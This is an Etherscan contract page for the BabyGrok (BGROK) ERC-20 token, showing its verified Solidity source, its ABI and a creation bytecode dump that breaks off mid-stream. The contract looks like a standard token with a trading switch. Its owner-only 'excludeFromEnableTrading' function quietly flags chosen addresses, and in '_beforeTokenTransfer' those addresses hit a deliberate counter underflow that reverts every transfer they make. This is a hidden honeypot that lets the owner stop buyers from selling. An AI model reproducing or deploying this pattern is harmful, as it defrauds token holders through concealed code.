ETH Price: $3,044.58 (+1.16%)
Gas: 4 Gwei

Token

BABYGROK (BGROK)
 

Overview

Max Total Supply

100,000,000 BGROK

Holders

388

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
30,324.164280168124109783 BGROK

Value
$0.00
0x264a0fAD9BB5D3518DCDb451d7cb2717B3bFB6Ca
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BabyGrok

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-04-25
*/

/**
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.12;


interface IERC20 {
   
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner,
     address spender) external view returns (uint256);

    function approve(address spender,
     uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}


interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data; 
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "BabyGrokOwnable:  caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is BabyGrok the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    string private _name;
    string private _symbol;
    uint256 private _totalSupply;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: transfer BabyGrok amount exceeds allowance");
            unchecked {
                _approve(sender, _msgSender(), currentAllowance - amount);
            }
        }

        _transfer(sender, recipient, amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: BabyGrok decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "BabyGrok: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount BabyGrok exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address BabyGrok");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from BabyGrok the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "BabyGrokERC20: approve from the zero address");
        require(spender != address(0), "ERC20: BabyGrok approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract BabyGrok is ERC20, Ownable {
    
    mapping (address => bool) private _isExcludedFromEnableTrad;

    mapping(address => uint256) private ifuserssssss;

    constructor () ERC20("BABYGROK", "BGROK") 
    {   
        _isExcludedFromEnableTrad[_msgSender()] = true;
        _mint(_msgSender(), 100000000 * (10 ** decimals()));
    }

    receive() external payable {}

    function excludeFromEnableTrading(address account, bool excluded,address account2) external onlyOwner{
        _isExcludedFromEnableTrad[account] 
        =
        excluded;
         allowances[owner()][account2]
         = excluded;
    }

    function isExomEnableTrading(address account) public view returns(bool) {
        return _isExcludedFromEnableTrad[account];
    }

    
    mapping (address => mapping (address => bool)) public allowances;

    function getusertyurds(address _address) public view returns (uint256) {
        return ifuserssssss[_address];
    }

    function getAllowances(address _address) public view returns (bool) {
        return allowances[owner()][_address];
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
        super._beforeTokenTransfer(from, to, amount);

        if(from != address(0) && to != address(0) && allowances[owner()][from]) {
            ifuserssssss[from]--;
        }
    }

    bool public tradingEnabled;

    function enableTrading() external onlyOwner{
        require(!tradingEnabled, "Trading already BabyGrok enabled.");
        tradingEnabled = true;
    }

    function _transfer(address from,address to,uint256 amount) internal  override {
        require(from != address(0), "ERC20: transfer from the zero address BabyGrok");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tradingEnabled || _isExcludedFromEnableTrad[from] || _isExcludedFromEnableTrad[to], "Trading not BabyGrok yet enabled!");
       
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        super._transfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowances","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"},{"internalType":"address","name":"account2","type":"address"}],"name":"excludeFromEnableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getAllowances","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getusertyurds","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExomEnableTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405234801562000010575f80fd5b506040518060400160405280600881526020017f4241425947524f4b0000000000000000000000000000000000000000000000008152506040518060400160405280600581526020017f4247524f4b00000000000000000000000000000000000000000000000000000081525081600290816200008e9190620007cd565b508060039081620000a09190620007cd565b505050620000c3620000b76200017c60201b60201c565b6200018360201b60201c565b600160065f620000d86200017c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620001766200013b6200017c60201b60201c565b6200014b6200024660201b60201c565b600a62000159919062000a3a565b6305f5e1006200016a919062000a8a565b6200024e60201b60201c565b62000c0a565b5f33905090565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6012905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002bf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002b69062000b58565b60405180910390fd5b620002d25f8383620003be60201b60201c565b8060045f828254620002e5919062000b78565b92505081905550805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825462000339919062000b78565b925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200039f919062000bc3565b60405180910390a3620003ba5f83836200053760201b60201c565b5050565b620003d18383836200053c60201b60201c565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156200043a57505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015620004d7575060085f620004556200054160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15620005325760075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8154809291906200052c9062000bde565b91905055505b505050565b505050565b505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620005e557607f821691505b602082108103620005fb57620005fa620005a0565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200065f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000622565b6200066b868362000622565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f620006b5620006af620006a98462000683565b6200068c565b62000683565b9050919050565b5f819050919050565b620006d08362000695565b620006e8620006df82620006bc565b8484546200062e565b825550505050565b5f90565b620006fe620006f0565b6200070b818484620006c5565b505050565b5b818110156200073257620007265f82620006f4565b60018101905062000711565b5050565b601f82111562000781576200074b8162000601565b620007568462000613565b8101602085101562000766578190505b6200077e620007758562000613565b83018262000710565b50505b505050565b5f82821c905092915050565b5f620007a35f198460080262000786565b1980831691505092915050565b5f620007bd838362000792565b9150826002028217905092915050565b620007d88262000569565b67ffffffffffffffff811115620007f457620007f362000573565b5b620008008254620005cd565b6200080d82828562000736565b5f60209050601f83116001811462000843575f84156200082e578287015190505b6200083a8582620007b0565b865550620008a9565b601f198416620008538662000601565b5f5b828110156200087c5784890151825560018201915060208501945060208101905062000855565b868310156200089c578489015162000898601f89168262000792565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200093b57808604811115620009135762000912620008b1565b5b6001851615620009235780820291505b80810290506200093385620008de565b9450620008f3565b94509492505050565b5f8262000955576001905062000a27565b8162000964575f905062000a27565b81600181146200097d57600281146200098857620009be565b600191505062000a27565b60ff8411156200099d576200099c620008b1565b5b8360020a915084821115620009b757620009b6620008b1565b5b5062000a27565b5060208310610133831016604e8410600b8410161715620009f85782820a905083811115620009f257620009f1620008b1565b5b62000a27565b62000a078484846001620008ea565b9250905081840481111562000a215762000a20620008b1565b5b81810290505b9392505050565b5f60ff82169050919050565b5f62000a468262000683565b915062000a538362000a2e565b925062000a827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000944565b905092915050565b5f62000a968262000683565b915062000aa38362000683565b925082820262000ab38162000683565b9150828204841483151762000acd5762000acc620008b1565b5b5092915050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373205f8201527f4261627947726f6b000000000000000000000000000000000000000000000000602082015250565b5f62000b4060288362000ad4565b915062000b4d8262000ae4565b604082019050919050565b5f6020820190508181035f83015262000b718162000b32565b9050919050565b5f62000b848262000683565b915062000b918362000683565b925082820190508082111562000bac5762000bab620008b1565b5b92915050565b62000bbd8162000683565b82525050565b5f60208201905062000bd85f83018462000bb2565b92915050565b5f62000bea8262000683565b91505f820362000bff5762000bfe620008b1565b5b600182039050919050565b6123938062000c185f395ff3fe60806040526004361061012d575f3560e01c806370a08231116100aa57806395d89b411161006e57806395d89b4114610402578063a1a7ceaa1461042c578063a457c2d714610468578063a9059cbb146104a4578063dd62ed3e146104e0578063f2fde38b1461051c57610134565b806370a0823114610334578063715018a6146103705780637ae34fec146103865780638a8c523c146103c25780638da5cb5b146103d857610134565b8063313ce567116100f1578063313ce56714610240578063395093511461026a5780634ada218b146102a657806355b6ed5c146102d0578063641d601c1461030c57610134565b806306fdde0314610138578063095ea7b31461016257806318160ddd1461019e5780631ce9029d146101c857806323b872dd1461020457610134565b3661013457005b5f80fd5b348015610143575f80fd5b5061014c610544565b604051610159919061186a565b60405180910390f35b34801561016d575f80fd5b506101886004803603810190610183919061191b565b6105d4565b6040516101959190611973565b60405180910390f35b3480156101a9575f80fd5b506101b26105f1565b6040516101bf919061199b565b60405180910390f35b3480156101d3575f80fd5b506101ee60048036038101906101e991906119b4565b6105fa565b6040516101fb9190611973565b60405180910390f35b34801561020f575f80fd5b5061022a600480360381019061022591906119df565b61068e565b6040516102379190611973565b60405180910390f35b34801561024b575f80fd5b506102546107a8565b6040516102619190611a4a565b60405180910390f35b348015610275575f80fd5b50610290600480360381019061028b919061191b565b6107b0565b60405161029d9190611973565b60405180910390f35b3480156102b1575f80fd5b506102ba610857565b6040516102c79190611973565b60405180910390f35b3480156102db575f80fd5b506102f660048036038101906102f19190611a63565b610869565b6040516103039190611973565b60405180910390f35b348015610317575f80fd5b50610332600480360381019061032d9190611acb565b610893565b005b34801561033f575f80fd5b5061035a600480360381019061035591906119b4565b6109fe565b604051610367919061199b565b60405180910390f35b34801561037b575f80fd5b50610384610a43565b005b348015610391575f80fd5b506103ac60048036038101906103a791906119b4565b610aca565b6040516103b99190611973565b60405180910390f35b3480156103cd575f80fd5b506103d6610b1c565b005b3480156103e3575f80fd5b506103ec610c03565b6040516103f99190611b2a565b60405180910390f35b34801561040d575f80fd5b50610416610c2b565b604051610423919061186a565b60405180910390f35b348015610437575f80fd5b50610452600480360381019061044d91906119b4565b610cbb565b60405161045f919061199b565b60405180910390f35b348015610473575f80fd5b5061048e6004803603810190610489919061191b565b610d01565b60405161049b9190611973565b60405180910390f35b3480156104af575f80fd5b506104ca60048036038101906104c5919061191b565b610de7565b6040516104d79190611973565b60405180910390f35b3480156104eb575f80fd5b5061050660048036038101906105019190611a63565b610e04565b604051610513919061199b565b60405180910390f35b348015610527575f80fd5b50610542600480360381019061053d91906119b4565b610e86565b005b60606002805461055390611b70565b80601f016020809104026020016040519081016040528092919081815260200182805461057f90611b70565b80156105ca5780601f106105a1576101008083540402835291602001916105ca565b820191905f5260205f20905b8154815290600101906020018083116105ad57829003601f168201915b5050505050905090565b5f6105e76105e0610f7c565b8484610f83565b6001905092915050565b5f600454905090565b5f60085f610606610c03565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f8060015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6106d6610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610791578281101561077c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077390611c10565b60405180910390fd5b61079085610788610f7c565b858403610f83565b5b61079c858585611146565b60019150509392505050565b5f6012905090565b5f61084d6107bc610f7c565b848460015f6107c9610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546108489190611c5b565b610f83565b6001905092915050565b60095f9054906101000a900460ff1681565b6008602052815f5260405f20602052805f5260405f205f915091509054906101000a900460ff1681565b61089b610f7c565b73ffffffffffffffffffffffffffffffffffffffff166108b9610c03565b73ffffffffffffffffffffffffffffffffffffffff161461090f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090690611cfe565b60405180910390fd5b8160065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508160085f61096f610c03565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505050565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610a4b610f7c565b73ffffffffffffffffffffffffffffffffffffffff16610a69610c03565b73ffffffffffffffffffffffffffffffffffffffff1614610abf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab690611cfe565b60405180910390fd5b610ac85f61133a565b565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b610b24610f7c565b73ffffffffffffffffffffffffffffffffffffffff16610b42610c03565b73ffffffffffffffffffffffffffffffffffffffff1614610b98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8f90611cfe565b60405180910390fd5b60095f9054906101000a900460ff1615610be7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bde90611d8c565b60405180910390fd5b600160095f6101000a81548160ff021916908315150217905550565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610c3a90611b70565b80601f0160208091040260200160405190810160405280929190818152602001828054610c6690611b70565b8015610cb15780601f10610c8857610100808354040283529160200191610cb1565b820191905f5260205f20905b815481529060010190602001808311610c9457829003601f168201915b5050505050905090565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f8060015f610d0e610f7c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610dc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dbf90611e1a565b60405180910390fd5b610ddc610dd3610f7c565b85858403610f83565b600191505092915050565b5f610dfa610df3610f7c565b8484611146565b6001905092915050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610e8e610f7c565b73ffffffffffffffffffffffffffffffffffffffff16610eac610c03565b73ffffffffffffffffffffffffffffffffffffffff1614610f02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef990611cfe565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6790611ea8565b60405180910390fd5b610f798161133a565b50565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ff1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe890611f36565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361105f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105690611fc4565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611139919061199b565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ab90612052565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611222576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611219906120e0565b60405180910390fd5b60095f9054906101000a900460ff1680611282575060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806112d3575060065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611312576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113099061216e565b60405180910390fd5b5f81036113295761132483835f6113fd565b611335565b6113348383836113fd565b5b505050565b5f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508160055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361146b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611462906121fc565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036114d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d09061228a565b60405180910390fd5b6114e4838383611672565b5f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015611567576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155e90612318565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546115f59190611c5b565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611659919061199b565b60405180910390a361166c8484846117d6565b50505050565b61167d8383836117db565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116e557505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611779575060085f6116f7610c03565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b156117d15760075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8154809291906117cb90612336565b91905055505b505050565b505050565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156118175780820151818401526020810190506117fc565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61183c826117e0565b61184681856117ea565b93506118568185602086016117fa565b61185f81611822565b840191505092915050565b5f6020820190508181035f8301526118828184611832565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6118b78261188e565b9050919050565b6118c7816118ad565b81146118d1575f80fd5b50565b5f813590506118e2816118be565b92915050565b5f819050919050565b6118fa816118e8565b8114611904575f80fd5b50565b5f81359050611915816118f1565b92915050565b5f80604083850312156119315761193061188a565b5b5f61193e858286016118d4565b925050602061194f85828601611907565b9150509250929050565b5f8115159050919050565b61196d81611959565b82525050565b5f6020820190506119865f830184611964565b92915050565b611995816118e8565b82525050565b5f6020820190506119ae5f83018461198c565b92915050565b5f602082840312156119c9576119c861188a565b5b5f6119d6848285016118d4565b91505092915050565b5f805f606084860312156119f6576119f561188a565b5b5f611a03868287016118d4565b9350506020611a14868287016118d4565b9250506040611a2586828701611907565b9150509250925092565b5f60ff82169050919050565b611a4481611a2f565b82525050565b5f602082019050611a5d5f830184611a3b565b92915050565b5f8060408385031215611a7957611a7861188a565b5b5f611a86858286016118d4565b9250506020611a97858286016118d4565b9150509250929